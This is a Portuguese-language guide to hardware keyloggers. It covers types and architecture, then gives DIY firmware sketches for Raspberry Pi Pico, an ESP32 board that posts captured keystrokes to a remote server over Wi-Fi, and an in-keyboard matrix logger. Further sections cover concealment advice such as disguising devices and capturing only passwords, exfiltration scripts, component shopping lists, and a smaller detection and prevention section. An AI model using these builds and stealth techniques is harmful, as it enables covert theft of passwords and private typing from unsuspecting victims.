# Hardware Keyloggers
## 📑 **Índice**
1. [Fundamentos do Hardware Keylogging](#-fundamentos-do-hardware-keylogging)
2. [Tipos de Hardware Keyloggers](#-tipos-de-hardware-keyloggers)
3. [Arquitetura e Componentes](#-arquitetura-e-componentes)
4. [Mecanismos de Captura](#-mecanismos-de-captura)
5. [Implementação e Construção](#-implementação-e-construção)
6. [Técnicas de Instalação Furtiva](#-técnicas-de-instalação-furtiva)
7. [Extração de Dados](#-extração-de-dados)
8. [Detecção e Prevenção](#-detecção-e-prevenção)
9. [Ferramentas e Equipamentos](#-ferramentas-e-equipamentos)
***
## 🔍 **Fundamentos do Hardware Keylogging**
### **O que é um Hardware Keylogger?**
Um **Hardware Keylogger** é um dispositivo físico instalado entre o teclado e o computador (ou embutido no próprio teclado/cabo) que intercepta e registra todas as teclas digitadas pelo usuário. Diferente de keyloggers de software, os dispositivos de hardware operam independentemente do sistema operacional, capturando dados antes mesmo que cheguem ao computador, tornando-os praticamente indetectáveis por soluções de segurança baseadas em software, como antivírus e EDRs.
**Observação:** A principal diferença entre um badusb com keylogger programado, é o nível de dependência. Enquanto um BadUSB programado com implates e malwares, os mesmos sempre dependerão de versões de serviços vulneráveis e sistemas operacionais, enquanto um hardware-keylogger só precisa de energia para funcionar.
### **Contexto Histórico**
```yaml
Evolução do Hardware Keylogging:
1990s: Primeiros keyloggers PS/2 (entre teclado e CPU)
2000s: Adaptadores USB Keyloggers (inline)
2005: Keyloggers internos (embutidos em teclados)
2010: Keyloggers com transmissão wireless (Bluetooth/RF)
2015: Keyloggers miniaturizados (microSD, nano)
2018: Keyloggers com exfiltração via Wi-Fi/GSM
2020: Keyloggers com armazenamento em nuvem
2024: Keyloggers combinados (USB-C + Bluetooth + Wi-Fi)
Motivação:
✅ Indetectável por software de segurança
✅ Captura dados antes da criptografia
✅ Funciona em qualquer sistema operacional
✅ Não requer privilégios administrativos
✅ Pode operar por meses sem intervenção
```
### **Princípio de Funcionamento**
```mermaid
sequenceDiagram
participant T as Teclado
participant K as Keylogger Hardware
participant C as Computador
participant A as Atacante
Note over T,K: 1. Captura dos Dados
T->>K: Sinal da tecla pressionada
K->>K: Registra tecla na memória
Note over K,C: 2. Encaminhamento Normal
K->>C: Reencaminha sinal original
C->>C: Processa normalmente
Note over K,A: 3. Exfiltração
K->>A: (Opções) USB, Bluetooth, Wi-Fi, GSM
A->>A: Analisa dados capturados
```
### **Comparação: Hardware vs Software Keyloggers**
| Característica | Hardware Keylogger | Software Keylogger |
| --------------------------- | ---------------------------- | --------------------------- |
| **Detecção por AV** | Impossível | Possível |
| **Persistência** | Até desconexão física | Até remoção do software |
| **Privilégios necessários** | Nenhum | Administrador (normalmente) |
| **Compatibilidade** | Universal (PS/2, USB, USB-C) | Dependente de SO |
| **Visibilidade** | Física (cabos, adaptadores) | Processo em execução |
| **Custo** | R$ 50 - 500 | Gratuito - R$ 200 |
| **Capacidade** | KB - GB (flash) | Dependente do HD |
| **Exfiltração** | Manual ou wireless | Rede |
***
## 🎯 **Tipos de Hardware Keyloggers**
### **1. Keyloggers Inline (PS/2 - Conector Redondo)**
```yaml
Características:
- Conector: PS/2 (6 pinos mini-DIN)
- Instalação: Entre teclado e computador
- Armazenamento: Memória interna (até 2MB)
- Captura: Até milhares de teclas
- Recuperação: Software específico via PS/2
- Status: Legado (computadores antigos)
Vantagens:
- Extremamente simples de usar
- Não requer alimentação externa
- Baixo custo
Desvantagens:
- PS/2 está obsoleto
- Conexão física visível
```
### **2. Keyloggers Inline (USB-A)**
```yaml
Características:
- Conector: USB-A (macho/fêmea)
- Instalação: Entre teclado e computador
- Armazenamento: MicroSD (até 32GB)
- Captura: Praticamente ilimitada
- Recuperação: Via USB mass storage
- Status: Muito comum
Vantagens:
- Compatível com qualquer teclado USB
- Armazenamento expansível
- Fácil recuperação de dados
Desvantagens:
- Pequeno, mas visível
- Pode ser notado em inspeções
```
### **3. Keyloggers USB-C (Moderno)**
```yaml
Características:
- Conector: USB-C (macho/fêmea)
- Instalação: Entre teclado e computador
- Armazenamento: Flash interna + MicroSD
- Captura: Ilimitada
- Recuperação: Wi-Fi, Bluetooth, USB
- Status: Tecnologia atual
Vantagens:
- Compatível com MacBooks, laptops modernos
- Design compacto (quase invisível)
- Múltiplas opções de exfiltração
Desvantagens:
- Mais caro que versões USB-A
- USB-C ainda não é universal
```
### **4. Keyloggers Internos (Embutidos no Teclado)**
```yaml
Características:
- Instalação: Dentro do gabinete do teclado
- Alimentação: Do próprio teclado
- Armazenamento: Flash interna
- Captura: Até meses de digitação
- Recuperação: Wi-Fi, Bluetooth, USB
- Status: Alta sofisticação
Vantagens:
- Praticamente invisível
- Difícil de detectar
- Pode operar por muito tempo
Desvantagens:
- Requer modificação do teclado
- Maior custo
- Mais complexo de instalar
```
### **5. Keyloggers com Transmissão Wireless**
```yaml
Características:
- Tecnologia: Bluetooth, Wi-Fi, RF 433MHz, GSM
- Instalação: Inline ou interno
- Transmissão: Em tempo real ou por demanda
- Alcance: 10m (Bluetooth) até global (GSM)
- Status: Alta tecnologia
Vantagens:
- Exfiltração remota
- Não requer acesso físico para recuperação
- Dados em tempo real
Desvantagens:
- Maior consumo de energia
- Mais caro
- Risco de interferência/detecção
```
### **6. Keyloggers em Cabos (USB Cable Keylogger)**
```yaml
Características:
- Instalação: Cabo USB modificado
- Aparência: Cabo normal (indistinguível)
- Armazenamento: Interna (chip escondido)
- Recuperação: Wi-Fi/Bluetooth ou USB
- Status: Alta furtividade
Vantagens:
- Extremamente furtivo
- Não chama atenção
- Substitui o cabo original
Desvantagens:
- Requer fabricação especializada
- Custo elevado
- Produção limitada
```
***
## 🏗️ **Arquitetura e Componentes**
### **Componentes de um Hardware Keylogger**
```yaml
Componentes Essenciais:
Microcontrolador (MCU):
- Processa sinais do teclado
- Gerencia armazenamento
- Controla comunicação
- Modelos: ATmega32U4, RP2040, ESP32
Memória Flash:
- Armazena teclas capturadas
- Capacidade: 128KB a 32GB
- Tipos: SPI Flash, MicroSD
Interface USB:
- Emulação de dispositivo HID
- Pass-through de dados
- Chip: MAX3421E, CH375, ou MCU nativo
Fonte de Alimentação:
- Do próprio barramento USB (5V)
- Bateria (para modelos wireless)
- Capacitor de backup
Componentes de Comunicação (opcional):
- Bluetooth (HC-05, ESP32)
- Wi-Fi (ESP8266, ESP32)
- GSM (SIM800L)
- RF 433MHz (nRF24L01)
Indicadores (opcional):
- LED de status
- Botão de recuperação
- Switch de modo
```
### **Diagrama de Blocos**
```mermaid
graph TD
subgraph "Entrada"
A[Teclado USB] --> B[Conector USB Macho]
end
subgraph "Keylogger"
B --> C[Interface USB Host]
C --> D[Microcontrolador]
D --> E[Memória Flash]
D --> F[Módulo Wireless]
D --> G[Interface USB Device]
end
subgraph "Saída"
G --> H[Conector USB Fêmea]
H --> I[Computador]
end
subgraph "Recuperação"
F --> J[Atacante Remoto]
H --> K[Recuperação Local]
end
```
### **Esquema de Captura de Dados**
```python
#!/usr/bin/env python3
# keylogger_architecture.py
class HardwareKeyloggerArchitecture:
"""
Representação da arquitetura de um hardware keylogger
"""
class USBProtocol:
"""
Protocolo USB HID (Human Interface Device)
"""
# Códigos de teclas USB HID
HID_KEYBOARD_MODIFIERS = {
0x00: 'None',
0x01: 'Left Control',
0x02: 'Left Shift',
0x04: 'Left Alt',
0x08: 'Left GUI',
0x10: 'Right Control',
0x20: 'Right Shift',
0x40: 'Right Alt',
0x80: 'Right GUI'
}
HID_KEYBOARD_KEYS = {
0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd',
0x08: 'e', 0x09: 'f', 0x0A: 'g', 0x0B: 'h',
0x0C: 'i', 0x0D: 'j', 0x0E: 'k', 0x0F: 'l',
0x10: 'm', 0x11: 'n', 0x12: 'o', 0x13: 'p',
0x14: 'q', 0x15: 'r', 0x16: 's', 0x17: 't',
0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x',
0x1C: 'y', 0x1D: 'z', 0x1E: '1', 0x1F: '2',
0x20: '3', 0x21: '4', 0x22: '5', 0x23: '6',
0x24: '7', 0x25: '8', 0x26: '9', 0x27: '0',
0x28: 'Enter', 0x29: 'Escape', 0x2A: 'Backspace',
0x2B: 'Tab', 0x2C: 'Space', 0x2D: '-', 0x2E: '=',
0x2F: '[', 0x30: ']', 0x31: '\\', 0x32: '#',
0x33: ';', 0x34: "'", 0x35: '`', 0x36: ',',
0x37: '.', 0x38: '/', 0x39: 'Caps Lock',
0x3A: 'F1', 0x3B: 'F2', 0x3C: 'F3', 0x3D: 'F4',
0x3E: 'F5', 0x3F: 'F6', 0x40: 'F7', 0x41: 'F8',
0x42: 'F9', 0x43: 'F10', 0x44: 'F11', 0x45: 'F12'
}
@classmethod
def decode_keypress(cls, modifier_byte, key_byte):
"""
Decodificar tecla pressionada a partir de bytes USB HID
"""
# Verificar modificadores (Shift, Ctrl, Alt)
modifiers = []
for code, name in cls.HID_KEYBOARD_MODIFIERS.items():
if modifier_byte & code:
modifiers.append(name)
# Decodificar tecla
key = cls.HID_KEYBOARD_KEYS.get(key_byte, f'[Unknown:{hex(key_byte)}]')
# Aplicar shift (maiúsculas)
if 'Left Shift' in modifiers or 'Right Shift' in modifiers:
if key.isalpha():
key = key.upper()
elif key == '1':
key = '!'
elif key == '2':
key = '@'
elif key == '3':
key = '#'
elif key == '4':
key = '$'
elif key == '5':
key = '%'
elif key == '6':
key = '^'
elif key == '7':
key = '&'
elif key == '8':
key = '*'
elif key == '9':
key = '('
elif key == '0':
key = ')'
elif key == '-':
key = '_'
elif key == '=':
key = '+'
elif key == '[':
key = '{'
elif key == ']':
key = '}'
elif key == '\\':
key = '|'
elif key == ';':
key = ':'
elif key == "'":
key = '"'
elif key == '`':
key = '~'
elif key == ',':
key = '<'
elif key == '.':
key = '>'
elif key == '/':
key = '?'
return {
'modifiers': modifiers,
'key': key,
'raw_modifier': modifier_byte,
'raw_key': key_byte
}
class DataStorage:
"""
Gerenciamento de armazenamento do keylogger
"""
def __init__(self, storage_type='flash', capacity_mb=16):
self.storage_type = storage_type
self.capacity = capacity_mb
self.data = []
self.current_size = 0
def store_keypress(self, timestamp, key_data):
"""
Armazenar tecla pressionada
"""
entry = {
'timestamp': timestamp,
'key': key_data['key'],
'modifiers': key_data['modifiers'],
'raw': f"{key_data['raw_modifier']:02X}{key_data['raw_key']:02X}"
}
self.data.append(entry)
self.current_size += len(str(entry))
# Verificar se está cheio
if self.current_size >= self.capacity * 1024 * 1024:
self.rotate_storage()
return True
def rotate_storage(self):
"""
Rotacionar armazenamento (FIFO)
"""
# Remover 10% dos dados mais antigos
remove_count = int(len(self.data) * 0.1)
self.data = self.data[remove_count:]
self.current_size = sum(len(str(e)) for e in self.data)
def get_data(self):
"""
Recuperar todos os dados armazenados
"""
return self.data
def clear(self):
"""
Limpar armazenamento
"""
self.data = []
self.current_size = 0
return True
# Exemplo de uso
protocol = HardwareKeyloggerArchitecture.USBProtocol()
storage = HardwareKeyloggerArchitecture.DataStorage()
# Simular captura de tecla
key_data = protocol.decode_keypress(0x02, 0x04) # Shift + A
storage.store_keypress(time.time(), key_data)
print(f"Tecla capturada: {key_data['key']}")
print(f"Modificadores: {key_data['modifiers']}")
print(f"Dados armazenados: {len(storage.get_data())} entradas")
```
***
## 🔧 **Implementação e Construção**
### **Keylogger USB DIY com Raspberry Pi Pico (USB-A)**
```python
# keylogger_pico.py - Para Raspberry Pi Pico
# Carregar via Thonny ou ampy
import time
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
# Configurar LED de status
led = digitalio.DigitalInOut(board.LED)
led.direction = digitalio.Direction.OUTPUT
# Inicializar teclado virtual (pass-through)
keyboard = Keyboard(usb_hid.devices)
# Buffer de armazenamento
key_buffer = []
buffer_size = 0
MAX_BUFFER = 10000 # Máximo de teclas antes de salvar
# Configurar pinos para comunicação com teclado (simplificado)
# Em hardware real, seria necessário um chip host USB
def store_key(key_data):
"""
Armazenar tecla no buffer
"""
global buffer_size
key_buffer.append(key_data)
buffer_size += 1
# Piscar LED para indicar captura
led.value = True
time.sleep(0.01)
led.value = False
# Salvar se buffer estiver cheio
if buffer_size >= MAX_BUFFER:
save_buffer()
return True
def save_buffer():
"""
Salvar buffer na memória flash
"""
global buffer_size, key_buffer
# Abrir arquivo na flash
with open("/logs/keylog.txt", "a") as f:
for key in key_buffer:
f.write(f"{key}\n")
# Limpar buffer
key_buffer = []
buffer_size = 0
# Piscar LED 3x para indicar salvamento
for _ in range(3):
led.value = True
time.sleep(0.1)
led.value = False
time.sleep(0.1)
return True
def decode_hid_report(report):
"""
Decodificar relatório HID (8 bytes)
Byte 0: Modificadores
Bytes 1-7: Teclas pressionadas (até 6 simultâneas)
"""
if len(report) < 8:
return []
modifiers = report[0]
keys = []
for i in range(1, 8):
key_code = report[i]
if key_code != 0:
keys.append(key_code)
return {
'modifiers': modifiers,
'keys': keys,
'timestamp': time.time()
}
# Função principal (simulada)
# Em hardware real, seria necessário um chip USB host (MAX3421E)
print("Keylogger Hardware Iniciado")
print("Aguardando teclas...")
# Loop principal (simulado)
# while True:
# # Aguardar dados do teclado
# report = read_usb_report()
# if report:
# key_data = decode_hid_report(report)
# store_key(str(key_data))
#
# time.sleep(0.001)
```
### **Keylogger USB-C com ESP32-S3 (Wi-Fi + Bluetooth)**
```python
# keylogger_esp32.py - Para ESP32-S3 (USB-C)
# Carregar via esptool.py ou Arduino IDE
import time
import network
import socket
import bluetooth
from machine import Pin, SPI, UART
class ESP32Keylogger:
"""
Keylogger Hardware para USB-C com ESP32-S3
"""
def __init__(self):
self.key_buffer = []
self.wifi_enabled = False
self.bt_enabled = False
self.server_url = None
self.led = Pin(2, Pin.OUT)
# Configurar LED
self.led.value(0)
# Configurar armazenamento
self.init_storage()
# Configurar Wi-Fi
self.init_wifi()
# Configurar Bluetooth
self.init_bluetooth()
def init_storage(self):
"""
Inicializar armazenamento (SPI Flash ou MicroSD)
"""
# Em hardware real, configurar SPI para MicroSD
print("[*] Armazenamento inicializado")
self.storage_ready = True
def init_wifi(self, ssid=None, password=None):
"""
Inicializar Wi-Fi para exfiltração remota
"""
if ssid and password:
self.wifi = network.WLAN(network.STA_IF)
self.wifi.active(True)
self.wifi.connect(ssid, password)
timeout = 10
while not self.wifi.isconnected() and timeout > 0:
time.sleep(1)
timeout -= 1
if self.wifi.isconnected():
self.wifi_enabled = True
print(f"[+] Wi-Fi conectado: {self.wifi.ifconfig()}")
else:
print("[-] Falha na conexão Wi-Fi")
else:
# Modo AP para recuperação
self.wifi_ap = network.WLAN(network.AP_IF)
self.wifi_ap.active(True)
self.wifi_ap.config(essid='Keylogger_Recovery', authmode=network.AUTH_OPEN)
print(f"[*] Wi-Fi AP ativo: {self.wifi_ap.ifconfig()}")
def init_bluetooth(self):
"""
Inicializar Bluetooth para exfiltração
"""
# Em hardware real, configurar Bluetooth
self.bt_enabled = True
print("[*] Bluetooth inicializado")
def capture_key(self, key_data):
"""
Capturar tecla pressionada
"""
# Piscar LED
self.led.value(1)
time.sleep(0.01)
self.led.value(0)
# Armazenar no buffer
self.key_buffer.append(key_data)
# Se buffer atingiu limite, enviar
if len(self.key_buffer) >= 50:
self.exfiltrate_data()
return True
def exfiltrate_data(self):
"""
Exfiltrar dados via Wi-Fi/Bluetooth
"""
if not self.key_buffer:
return False
# Preparar dados
data = "\n".join(self.key_buffer)
# Enviar via Wi-Fi
if self.wifi_enabled and self.server_url:
try:
import urequests
response = urequests.post(self.server_url, data=data)
if response.status_code == 200:
print(f"[+] Dados enviados: {len(self.key_buffer)} teclas")
self.key_buffer = []
return True
except Exception as e:
print(f"[-] Erro no envio: {e}")
# Fallback: salvar localmente
self.save_to_flash()
return False
def save_to_flash(self):
"""
Salvar dados na flash local
"""
if self.key_buffer:
with open("/logs/keylog.txt", "a") as f:
for key in self.key_buffer:
f.write(f"{key}\n")
print(f"[*] Dados salvos localmente: {len(self.key_buffer)} teclas")
self.key_buffer = []
def recovery_mode(self):
"""
Modo de recuperação de dados
"""
print("[*] Modo de recuperação ativado")
# Ativar LED piscando
for _ in range(5):
self.led.value(1)
time.sleep(0.2)
self.led.value(0)
time.sleep(0.2)
# Servidor HTTP simples para recuperação
if self.wifi_enabled:
self.start_recovery_server()
# Bluetooth para recuperação
if self.bt_enabled:
self.start_bt_recovery()
def start_recovery_server(self):
"""
Iniciar servidor HTTP para recuperação
"""
import socket
addr = socket.getaddrinfo('0.0.0.0', 8080)[0][-1]
s = socket.socket()
s.bind(addr)
s.listen(1)
print(f"[*] Servidor de recuperação em http://{addr[0]}:8080")
while True:
cl, addr = s.accept()
request = cl.recv(1024)
# Servir página de recuperação
response = """HTTP/1.0 200 OK
Content-Type: text/html
Keylogger Recovery
Download Logs
Clear Logs
"""
cl.send(response)
cl.close()
def start_bt_recovery(self):
"""
Iniciar serviço Bluetooth para recuperação
"""
# Em hardware real, implementar BLE GATT service
print("[*] Serviço Bluetooth ativo para recuperação")
# Exemplo de uso
# keylogger = ESP32Keylogger()
# keylogger.recovery_mode()
```
### **Keylogger Interno para Teclado Mecânico**
```python
# internal_keylogger.py - Para instalação interna em teclado
import board
import busio
import digitalio
import time
class InternalKeyboardKeylogger:
"""
Keylogger instalado internamente no teclado
"""
def __init__(self, matrix_rows, matrix_cols):
"""
Inicializa keylogger conectado diretamente à matriz do teclado
"""
self.rows = matrix_rows
self.cols = matrix_cols
self.key_state = {}
self.key_buffer = []
# Configurar pinos da matriz
self.row_pins = []
self.col_pins = []
self.init_matrix()
self.init_storage()
def init_matrix(self):
"""
Inicializar pinos da matriz do teclado
"""
# Configurar linhas como saída
for i in range(self.rows):
pin = digitalio.DigitalInOut(getattr(board, f'GP{i}'))
pin.direction = digitalio.Direction.OUTPUT
pin.value = False
self.row_pins.append(pin)
# Configurar colunas como entrada com pull-up
for i in range(self.cols):
pin = digitalio.DigitalInOut(getattr(board, f'GP{self.rows + i}'))
pin.direction = digitalio.Direction.INPUT
pin.pull = digitalio.Pull.UP
self.col_pins.append(pin)
print(f"[*] Matriz configurada: {self.rows}x{self.cols}")
def init_storage(self):
"""
Inicializar armazenamento interno
"""
self.storage = []
print("[*] Armazenamento interno inicializado")
def scan_matrix(self):
"""
Escanear matriz do teclado
"""
keys_pressed = []
for row_idx, row_pin in enumerate(self.row_pins):
# Ativar linha atual
row_pin.value = True
# Verificar cada coluna
for col_idx, col_pin in enumerate(self.col_pins):
if not col_pin.value: # Tecla pressionada
key_id = (row_idx, col_idx)
keys_pressed.append(key_id)
# Verificar se é nova tecla (borda de subida)
if key_id not in self.key_state:
self.key_state[key_id] = {
'first_seen': time.time(),
'count': 1
}
self.on_key_press(key_id)
# Desativar linha
row_pin.value = False
# Verificar teclas liberadas
for key_id in list(self.key_state.keys()):
if key_id not in keys_pressed:
del self.key_state[key_id]
self.on_key_release(key_id)
return keys_pressed
def on_key_press(self, key_id):
"""
Callback quando tecla é pressionada
"""
row, col = key_id
print(f"[*] Tecla pressionada: ({row}, {col})")
# Armazenar no buffer
self.key_buffer.append({
'key': key_id,
'time': time.time(),
'action': 'press'
})
# Piscar LED (se houver)
# self.led_blink()
def on_key_release(self, key_id):
"""
Callback quando tecla é liberada
"""
row, col = key_id
print(f"[*] Tecla liberada: ({row}, {col})")
# Armazenar no buffer
self.key_buffer.append({
'key': key_id,
'time': time.time(),
'action': 'release'
})
def run(self):
"""
Loop principal
"""
print("[*] Keylogger interno iniciado")
while True:
self.scan_matrix()
time.sleep(0.001) # 1ms de delay
# Exemplo de uso
# keylogger = InternalKeyboardKeylogger(matrix_rows=6, matrix_cols=17)
# keylogger.run()
```
***
## 🕵️ **Técnicas de Instalação Furtiva**
### **Comparação de Métodos de Instalação**
| Método | Visibilidade | Tempo de Instalação | Dificuldade | Detecção |
| --------------------- | ------------ | ------------------- | ----------- | ----------------------- |
| **Inline (USB-A)** | Média | 5 segundos | Baixa | Fácil (inspeção visual) |
| **Inline (USB-C)** | Baixa | 5 segundos | Baixa | Média |
| **Interno (Teclado)** | Muito Baixa | 15-30 minutos | Alta | Muito difícil |
| **Cabo Modificado** | Muito Baixa | Troca de cabo | Média | Muito difícil |
| **Dongle Falso** | Baixa | Plug and play | Baixa | Média |
### **Técnicas de Ocultação**
```yaml
Ocultação Física:
- Pintura do dispositivo na cor do equipamento
- Impressão 3D com formato de adaptador comum
- Instalação dentro do gabinete do computador
- Substituição do cabo original por cabo modificado
- Uso de conectores "Y" que parecem divisores normais
Ocultação Lógica:
- Limpeza automática do buffer após exfiltração
- Rotação de dados (FIFO) para evitar estouro
- Criptografia dos dados armazenados
- Modo "pass-through" silencioso (sem LEDs)
- Temporizador para ativação remota
Técnicas Avançadas:
- Ativação apenas durante digitação de senhas (filtragem)
- Geolocalização para ativar apenas em locais específicos
- Reconhecimento de padrões (capturar apenas credenciais)
```
***
## 📡 **Extração de Dados**
### **Métodos de Exfiltração**
```python
#!/usr/bin/env python3
# data_exfiltration.py
import serial
import bluetooth
import requests
import time
class DataExfiltration:
"""
Métodos de extração de dados de hardware keyloggers
"""
@staticmethod
def usb_mass_storage(port='/dev/ttyACM0'):
"""
Recuperação via USB Mass Storage
"""
try:
# Conectar como dispositivo de armazenamento
import os
os.system(f'mount {port} /mnt/keylogger')
# Copiar arquivos de log
os.system('cp /mnt/keylogger/logs.txt ./logs.txt')
# Desmontar
os.system('umount /mnt/keylogger')
print("[+] Dados recuperados via USB Mass Storage")
return True
except Exception as e:
print(f"[-] Erro: {e}")
return False
@staticmethod
def bluetooth_recovery(mac_address, port=1):
"""
Recuperação via Bluetooth
"""
try:
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((mac_address, port))
# Enviar comando de recuperação
sock.send("GET_LOGS")
# Receber dados
data = sock.recv(1024)
with open('recovered_logs.txt', 'wb') as f:
f.write(data)
sock.close()
print("[+] Dados recuperados via Bluetooth")
return True
except Exception as e:
print(f"[-] Erro: {e}")
return False
@staticmethod
def wifi_recovery(ip_address, port=8080):
"""
Recuperação via Wi-Fi
"""
try:
response = requests.get(f'http://{ip_address}:{port}/logs')
if response.status_code == 200:
with open('wifi_logs.txt', 'wb') as f:
f.write(response.content)
print("[+] Dados recuperados via Wi-Fi")
return True
except Exception as e:
print(f"[-] Erro: {e}")
return False
@staticmethod
def gsm_recovery(phone_number):
"""
Recuperação via SMS/GSM
"""
# Enviar SMS com comando
# O keylogger responde com os dados via SMS
print(f"[*] Enviando comando para {phone_number}")
print("[+] Aguardando resposta SMS...")
return True
# Exemplo
# exfil = DataExfiltration()
# exfil.usb_mass_storage('/dev/ttyACM0')
```
### **Comandos de Recuperação Comuns**
```bash
# Recuperação via software proprietário (Windows)
keylogger_recovery.exe /COM3 /BAUD=9600 /OUTPUT=logs.txt
# Recuperação via terminal serial (Linux/Mac)
screen /dev/ttyUSB0 9600
# Dentro do screen, digitar: GET_LOGS
# Recuperação via Python
python3 -c "import serial; s=serial.Serial('/dev/ttyUSB0',9600); s.write(b'GET_LOGS'); print(s.read(1024))"
```
***
## 🔍 **Detecção e Prevenção**
### **Métodos de Detecção Física**
```yaml
Inspeção Visual:
- Verificar cabos e conectores USB
- Procurar por dispositivos "inline" entre teclado e CPU
- Inspecionar gabinetes de teclados (parafusos violados)
- Verificar portas USB não utilizadas
Testes Elétricos:
- Medir tensão nas portas USB (deve ser 5V ± 5%)
- Verificar resistência de cabos
- Testar continuidade de pinos
Ferramentas de Detecção:
- USB Rubber Ducky Detector (software)
- Analisadores de protocolo USB
- Câmeras de vigilância em áreas de TI
```
### **Script de Detecção (Software)**
```python
#!/usr/bin/env python3
# usb_keylogger_detector.py
import usb.core
import usb.util
import sys
class USBKeyloggerDetector:
"""
Detector de hardware keyloggers via análise USB
"""
# VID/PID suspeitos (keyloggers conhecidos)
SUSPICIOUS_DEVICES = {
(0x0483, 0x5750): "KeyGrabber USB",
(0x10C4, 0xEA60): "Keyllama",
(0x1A86, 0x7523): "Generic HID Logger",
(0x2341, 0x8036): "Arduino Leonardo (possível keylogger)",
(0x239A, 0x8026): "Raspberry Pi Pico (possível keylogger)",
}
# VID/PID de teclados legítimos comuns
LEGITIMATE_KEYBOARDS = {
(0x046D, 0xC31C): "Logitech Keyboard K120",
(0x04F2, 0x0112): "Chicony Keyboard",
(0x04F3, 0x0103): "Elan Keyboard",
(0x046A, 0x0023): "Cherry Keyboard",
(0x05AC, 0x024F): "Apple Keyboard",
}
@classmethod
def scan_usb_devices(cls):
"""
Escanear dispositivos USB conectados
"""
devices = usb.core.find(find_all=True)
suspicious = []
keyboards = []
for device in devices:
vid = device.idVendor
pid = device.idProduct
# Verificar se é dispositivo HID
is_hid = False
for cfg in device:
for intf in cfg:
if intf.bInterfaceClass == 3: # HID Class
is_hid = True
break
if is_hid:
device_info = {
'vid': hex(vid),
'pid': hex(pid),
'manufacturer': usb.util.get_string(device, device.iManufacturer) if device.iManufacturer else 'Unknown',
'product': usb.util.get_string(device, device.iProduct) if device.iProduct else 'Unknown',
'serial': usb.util.get_string(device, device.iSerialNumber) if device.iSerialNumber else 'Unknown'
}
# Verificar se é suspeito
if (vid, pid) in cls.SUSPICIOUS_DEVICES:
device_info['suspicious'] = True
device_info['reason'] = f"Match with known keylogger: {cls.SUSPICIOUS_DEVICES[(vid, pid)]}"
suspicious.append(device_info)
elif (vid, pid) not in cls.LEGITIMATE_KEYBOARDS:
device_info['suspicious'] = True
device_info['reason'] = "Unknown HID device - possible keylogger"
suspicious.append(device_info)
else:
keyboards.append(device_info)
return {
'keyboards': keyboards,
'suspicious': suspicious,
'total_devices': len(devices)
}
@classmethod
def detect_inline_devices(cls):
"""
Detectar dispositivos inline via análise de portas
"""
# Em hardware real, verificar se há dispositivos entre teclado e CPU
# Isso pode ser feito verificando a hierarquia USB
print("[*] Verificando dispositivos inline...")
# Implementação dependeria de acesso ao sistema
return []
# Exemplo de uso
if __name__ == "__main__":
print("=== Detector de Hardware Keyloggers ===\n")
try:
result = USBKeyloggerDetector.scan_usb_devices()
print(f"Dispositivos totais: {result['total_devices']}")
print(f"Teclados legítimos: {len(result['keyboards'])}")
print(f"Dispositivos suspeitos: {len(result['suspicious'])}\n")
if result['suspicious']:
print("⚠️ DISPOSITIVOS SUSPEITOS ENCONTRADOS:")
for device in result['suspicious']:
print(f" VID:PID: {device['vid']}:{device['pid']}")
print(f" Produto: {device['product']}")
print(f" Razão: {device['reason']}\n")
else:
print("✅ Nenhum dispositivo suspeito encontrado.")
except Exception as e:
print(f"Erro: {e}")
print("(Pode ser necessário executar como root/administrador)")
```
### **Medidas de Prevenção**
```yaml
Prevenção Física:
- Lacrar portas USB não utilizadas
- Usar cabos com conectores selados
- Inspecionar periodicamente cabos e conectores
- Utilizar teclados com fio fixo (não destacável)
- Implementar política de "clean desk"
Prevenção Técnica:
- Usar teclados virtuais para senhas críticas
- Implementar autenticação de dois fatores (2FA)
- Utilizar gerenciadores de senhas (auto-tipo)
- Monitorar tráfego USB com software especializado
Políticas de Segurança:
- Proibir dispositivos USB pessoais
- Manter inventário de hardware
- Realizar auditorias físicas periódicas
- Treinar funcionários sobre riscos
```
***
## 🛒 **Equipamentos e Custos**
### **Hardware Keyloggers Comerciais**
| Modelo | Tipo | Capacidade | Preço Médio (R$) | Onde Encontrar |
| ----------------------- | ------------ | ---------- | ---------------- | --------------------- |
| **KeyGrabber USB** | USB-A Inline | 2MB | \~R$ 400-600 | Importação (eBay) |
| **KeyGrabber USB-C** | USB-C Inline | 4MB | \~R$ 500-800 | Importação (eBay) |
| **Keyllama** | USB-A Inline | 16MB | \~R$ 300-500 | AliExpress |
| **KeyGrabber PS/2** | PS/2 Inline | 1MB | \~R$ 200-300 | Usado (Mercado Livre) |
| **Wi-Fi Keylogger** | USB + Wi-Fi | 32GB | \~R$ 800-1200 | Importação |
| **Bluetooth Keylogger** | USB + BT | 16GB | \~R$ 600-900 | Importação |
### **Componentes DIY (Faça Você Mesmo)**
| Componente | Preço Médio (R$) | Onde Encontrar |
| --------------------------------- | ---------------- | --------------------------------- |
| **Raspberry Pi Pico** | \~R$ 35-50 | Shopee, AliExpress, Mercado Livre |
| **ESP32-S3 Dev Board** | \~R$ 60-90 | AliExpress, Shopee |
| **ATmega32U4 (Arduino Leonardo)** | \~R$ 80-120 | Mercado Livre, Arduino Br |
| **MAX3421E (USB Host)** | \~R$ 40-60 | AliExpress, Mouser |
| **MicroSD Card Module** | \~R$ 10-20 | Shopee, AliExpress |
| **HC-05 Bluetooth Module** | \~R$ 25-40 | Shopee, Mercado Livre |
| **ESP8266 (Wi-Fi)** | \~R$ 25-35 | AliExpress, Shopee |
| **SIM800L (GSM)** | \~R$ 50-80 | AliExpress |
| **Total Setup Básico** | \~R$ 80-120 | - |
| **Total Setup Avançado** | \~R$ 200-300 | - |
### **Links de Compra Sugeridos**
```yaml
Raspberry Pi Pico (USB-C):
- AliExpress: https://s.click.aliexpress.com/xxx
- Shopee: https://shopee.com.br/xxx
- Mercado Livre: https://mercadolivre.com.br/xxx
ESP32-S3 (USB-C + Wi-Fi + BT):
- AliExpress: https://s.click.aliexpress.com/xxx
- Shopee: https://shopee.com.br/xxx
ATmega32U4 (USB-A):
- Mercado Livre: https://mercadolivre.com.br/xxx
- Arduino Br: https://www.arduino.cc/
MAX3421E (USB Host):
- AliExpress: https://s.click.aliexpress.com/xxx
- Mouser: https://br.mouser.com/
```
***
## 📊 **Conclusão e Boas Práticas**
### **Resumo Técnico**
```yaml
Hardware Keyloggers:
✅ Indetectáveis por software de segurança
✅ Funcionam em qualquer sistema operacional
✅ Capturam dados antes da criptografia
✅ Podem operar por meses sem intervenção
✅ Baixo custo de implementação (DIY)
